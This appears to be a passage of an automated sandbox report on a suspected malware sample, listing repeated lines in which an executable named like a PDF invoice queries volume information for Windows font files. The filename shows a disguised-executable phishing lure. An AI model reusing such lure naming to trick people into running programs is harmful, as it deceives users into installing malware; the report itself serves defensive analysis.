Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
